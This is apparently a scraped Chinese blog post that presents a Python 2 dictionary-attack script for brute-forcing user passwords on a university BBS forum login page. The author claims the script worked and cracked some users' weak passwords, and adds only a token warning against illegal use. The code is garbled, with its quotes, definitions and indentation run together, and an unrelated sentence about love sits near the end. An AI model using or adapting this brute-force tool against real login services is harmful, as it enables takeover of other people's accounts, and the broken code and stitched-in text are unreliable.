用python破解某211大学BBS论坛用户密码

本文只是举一反三,用python演示一个思路,适用于不同的网站或者论坛。 请勿用于非法行为。

以下代码亲测有效,破解了一些用户的弱密码。当然破解的成功率和你的字典有关,越复杂的字典,成功率就越高,但是花费的时间也就越长。

# -*- coding: utf-8 -*-__author__ = cookielib, urllib, urllib2, re, time,sys::#构造urllib的数据头self.login_url = “http://bbs.xxxx.edu.cn/login”self.user_agent = ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)’self.headers = {‘User-Agent’: self.user_agent}self.cookie = cookielib.CookieJar()self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))self.pattern = re.compile(r'”success”:”(d)”‘)self.guess = Falseself.ignore=):data=””try:result = self.opener.open(req)data=result.read()except Exception,what:print what, req;if times>0:time.sleep(20)self.urlopen_try(req,times-1)#time.sleep(10)else:print “Get Failed”,reqtime.sleep(5)self.ignore=Truereturn datareturn data:postdata = urllib.urlencode({‘userid’: userid, ‘passwd’: password})#将用户名和密码进行编码req = urllib2.Request(self.login_url, data=postdata, headers=self.headers)#构造一个Request,传入header和url,,用户的数据

完整代码->

却只能这样。只有对爱的人,我们才会斤斤计较,锱铢必较。

用python破解某211大学BBS论坛用户密码

相关文章:

你感兴趣的文章:

标签云: